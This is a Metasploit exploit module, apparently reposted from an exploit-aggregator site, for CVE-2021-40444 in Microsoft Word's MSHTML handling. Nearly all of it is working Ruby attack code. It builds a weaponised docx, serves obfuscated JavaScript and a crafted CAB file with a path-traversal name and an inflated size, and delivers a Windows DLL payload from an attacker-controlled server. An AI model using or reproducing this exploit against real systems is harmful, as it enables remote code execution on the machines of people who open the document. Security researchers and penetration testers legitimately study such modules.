Share
## https://sploitus.com/exploit?id=PACKETSTORM:165214
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft Office Word Malicious MSHTML RCE',  
'Description' => %q{  
This module creates a malicious docx file that when opened in Word on a vulnerable Windows  
system will lead to code execution. This vulnerability exists because an attacker can  
craft a malicious ActiveX control to be used by a Microsoft Office document that hosts  
the browser rendering engine.  
},  
'References' => [  
['CVE', '2021-40444'],  
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444'],  
['URL', 'https://www.sentinelone.com/blog/peeking-into-cve-2021-40444-ms-office-zero-day-vulnerability-exploited-in-the-wild/'],  
['URL', 'http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf'],  
['URL', 'https://github.com/lockedbyte/CVE-2021-40444/blob/master/REPRODUCE.md'],  
['URL', 'https://github.com/klezVirus/CVE-2021-40444']  
],  
'Author' => [  
'lockedbyte ', # Vulnerability discovery.  
'klezVirus ', # References and PoC.  
'thesunRider', # Official Metasploit module.  
'mekhalleh (RAMELLA Sébastien)' # Zeop-CyberSecurity - code base contribution and refactoring.  
],  
'DisclosureDate' => '2021-09-23',  
'License' => MSF_LICENSE,  
'Privileged' => false,  
'Platform' => 'win',  
'Arch' => [ARCH_X64],  
'Payload' => {  
'DisableNops' => true  
},  
'DefaultOptions' => {  
'FILENAME' => 'msf.docx'  
},  
'Targets' => [  
[  
'Hosted', {}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [UNRELIABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])  
])  
register_advanced_options([  
OptPath.new('DocxTemplate', [ false, 'A DOCX file that will be used as a template to build the exploit.' ]),  
])  
end  
  
def bin_to_hex(bstr)  
return(bstr.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join)  
end  
  
def cab_checksum(data, seed = "\x00\x00\x00\x00")  
checksum = seed  
  
bytes = ''  
data.chars.each_slice(4).map(&:join).each do |dword|  
if dword.length == 4  
checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*')  
else  
bytes = dword  
end  
end  
checksum = checksum.reverse  
  
case (data.length % 4)  
when 3  
dword = "\x00#{bytes}"  
when 2  
dword = "\x00\x00#{bytes}"  
when 1  
dword = "\x00\x00\x00#{bytes}"  
else  
dword = "\x00\x00\x00\x00"  
end  
  
checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*').reverse  
end  
  
# http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf  
def create_cab(data)  
cab_cfdata = ''  
filename = "../#{File.basename(@my_resources.first)}.inf"  
block_size = 32768  
struct_cffile = 0xd  
struct_cfheader = 0x30  
  
block_counter = 0  
data.chars.each_slice(block_size).map(&:join).each do |block|  
block_counter += 1  
  
seed = "#{[block.length].pack('S')}#{[block.length].pack('S')}"  
csum = cab_checksum(block, seed)  
  
vprint_status("Data block added w/ checksum: #{bin_to_hex(csum)}")  
cab_cfdata << csum # uint32 {4} - Checksum  
cab_cfdata << [block.length].pack('S') # uint16 {2} - Compressed Data Length  
cab_cfdata << [block.length].pack('S') # uint16 {2} - Uncompressed Data Length  
cab_cfdata << block  
end  
  
cab_size = [  
struct_cfheader +  
struct_cffile +  
filename.length +  
cab_cfdata.length  
].pack('L<')  
  
# CFHEADER (http://wiki.xentax.com/index.php/Microsoft_Cabinet_CAB)  
cab_header = "\x4D\x53\x43\x46" # uint32 {4} - Header (MSCF)  
cab_header << "\x00\x00\x00\x00" # uint32 {4} - Reserved (null)  
cab_header << cab_size # uint32 {4} - Archive Length  
cab_header << "\x00\x00\x00\x00" # uint32 {4} - Reserved (null)  
  
cab_header << "\x2C\x00\x00\x00" # uint32 {4} - Offset to the first CFFILE  
cab_header << "\x00\x00\x00\x00" # uint32 {4} - Reserved (null)  
cab_header << "\x03" # byte {1} - Minor Version (3)  
cab_header << "\x01" # byte {1} - Major Version (1)  
cab_header << "\x01\x00" # uint16 {2} - Number of Folders  
cab_header << "\x01\x00" # uint16 {2} - Number of Files  
cab_header << "\x00\x00" # uint16 {2} - Flags  
  
cab_header << "\xD2\x04" # uint16 {2} - Cabinet Set ID Number  
cab_header << "\x00\x00" # uint16 {2} - Sequential Number of this Cabinet file in a Set  
  
# CFFOLDER  
cab_header << [ # uint32 {4} - Offset to the first CFDATA in this Folder  
struct_cfheader +  
struct_cffile +  
filename.length  
].pack('L<')  
cab_header << [block_counter].pack('S<') # uint16 {2} - Number of CFDATA blocks in this Folder  
cab_header << "\x00\x00" # uint16 {2} - Compression Format for each CFDATA in this Folder (1 = MSZIP)  
  
# increase file size to trigger vulnerability  
cab_header << [ # uint32 {4} - Uncompressed File Length ("\x02\x00\x5C\x41")  
data.length + 1073741824  
].pack('L<')  
  
# set current date and time in the format of cab file  
date_time = Time.new  
date = [((date_time.year - 1980) << 9) + (date_time.month << 5) + date_time.day].pack('S')  
time = [(date_time.hour << 11) + (date_time.min << 5) + (date_time.sec / 2)].pack('S')  
  
# CFFILE  
cab_header << "\x00\x00\x00\x00" # uint32 {4} - Offset in the Uncompressed CFDATA for the Folder this file belongs to (relative to the start of the Uncompressed CFDATA for this Folder)  
cab_header << "\x00\x00" # uint16 {2} - Folder ID (starts at 0)  
cab_header << date # uint16 {2} - File Date (\x5A\x53)  
cab_header << time # uint16 {2} - File Time (\xC3\x5C)  
cab_header << "\x20\x00" # uint16 {2} - File Attributes  
cab_header << filename # byte {X} - Filename (ASCII)  
cab_header << "\x00" # byte {1} - null Filename Terminator  
  
cab_stream = cab_header  
  
# CFDATA  
cab_stream << cab_cfdata  
end  
  
def generate_html  
uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.cab"  
inf = "#{File.basename(@my_resources.first)}.inf"  
  
file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve_2021_40444.js')  
js_content = ::File.binread(file_path)  
  
js_content.gsub!('REPLACE_INF', inf)  
js_content.gsub!('REPLACE_URI', uri)  
if datastore['OBFUSCATE']  
print_status('Obfuscate JavaScript content')  
  
js_content = Rex::Exploitation::JSObfu.new js_content  
js_content = js_content.obfuscate(memory_sensitive: false)  
end  
  
html = '<!DOCTYPE html><html><head><meta http-equiv="Expires" content="-1"><meta http-equiv="X-UA-Compatible" content="IE=11"></head><body><script>'  
html += js_content.to_s  
html += '</script></body></html>'  
html  
end  
  
def get_file_in_docx(fname)  
i = @docx.find_index { |item| item[:fname] == fname }  
  
unless i  
fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")  
end  
  
@docx.fetch(i)[:data]  
end  
  
def get_template_path  
datastore['DocxTemplate'] || File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve-2021-40444.docx')  
end  
  
def inject_docx  
document_xml = get_file_in_docx('word/document.xml')  
unless document_xml  
fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml')  
end  
  
document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels')  
unless document_xml_rels  
fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')  
end  
  
uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html"  
@docx.each do |entry|  
case entry[:fname]  
when 'word/document.xml'  
entry[:data] = document_xml.to_s.gsub!('TARGET_HERE', uri.to_s)  
when 'word/_rels/document.xml.rels'  
entry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', "mhtml:#{uri}!x-usc:#{uri}")  
end  
end  
end  
  
def normalize_uri(*strs)  
new_str = strs * '/'  
  
new_str = new_str.gsub!('//', '/') while new_str.index('//')  
  
# makes sure there's a starting slash  
unless new_str[0, 1] == '/'  
new_str = '/' + new_str  
end  
  
new_str  
end  
  
def on_request_uri(cli, request)  
header_cab = {  
'Access-Control-Allow-Origin' => '*',  
'Access-Control-Allow-Methods' => 'GET, POST, OPTIONS',  
'Cache-Control' => 'no-store, no-cache, must-revalidate',  
'Content-Type' => 'application/octet-stream',  
'Content-Disposition' => "attachment; filename=#{File.basename(@my_resources.first)}.cab"  
}  
  
header_html = {  
'Access-Control-Allow-Origin' => '*',  
'Access-Control-Allow-Methods' => 'GET, POST',  
'Cache-Control' => 'no-store, no-cache, must-revalidate',  
'Content-Type' => 'text/html; charset=UTF-8'  
}  
  
if request.method.eql? 'HEAD'  
if request.raw_uri.to_s.end_with? '.cab'  
send_response(cli, '', header_cab)  
else  
send_response(cli, '', header_html)  
end  
elsif request.method.eql? 'OPTIONS'  
response = create_response(501, 'Unsupported Method')  
response['Content-Type'] = 'text/html'  
response.body = ''  
  
cli.send_response(response)  
elsif request.raw_uri.to_s.end_with? '.html'  
print_status('Sending HTML Payload')  
  
send_response_html(cli, generate_html, header_html)  
elsif request.raw_uri.to_s.end_with? '.cab'  
print_status('Sending CAB Payload')  
  
send_response(cli, create_cab(@dll_payload), header_cab)  
end  
end  
  
def pack_docx  
@docx.each do |entry|  
if entry[:data].is_a?(Nokogiri::XML::Document)  
entry[:data] = entry[:data].to_s  
end  
end  
  
Msf::Util::EXE.to_zip(@docx)  
end  
  
def unpack_docx(template_path)  
document = []  
  
Zip::File.open(template_path) do |entries|  
entries.each do |entry|  
if entry.name.match(/\.xml|\.rels$/i)  
content = Nokogiri::XML(entry.get_input_stream.read) if entry.file?  
elsif entry.file?  
content = entry.get_input_stream.read  
end  
  
vprint_status("Parsing item from template: #{entry.name}")  
  
document << { fname: entry.name, data: content }  
end  
end  
  
document  
end  
  
def primer  
print_status('CVE-2021-40444: Generate a malicious docx file')  
  
@proto = (datastore['SSL'] ? 'https' : 'http')  
if datastore['SRVHOST'] == '0.0.0.0'  
datastore['SRVHOST'] = Rex::Socket.source_address  
end  
  
template_path = get_template_path  
unless File.extname(template_path).match(/\.docx$/i)  
fail_with(Failure::BadConfig, 'Template is not a docx file!')  
end  
  
print_status("Using template '#{template_path}'")  
@docx = unpack_docx(template_path)  
  
print_status('Injecting payload in docx document')  
inject_docx  
  
print_status("Finalizing docx '#{datastore['FILENAME']}'")  
file_create(pack_docx)  
  
@dll_payload = Msf::Util::EXE.to_win64pe_dll(  
framework,  
payload.encoded,  
{  
arch: payload.arch.first,  
mixed_mode: true,  
platform: 'win'  
}  
)  
end  
end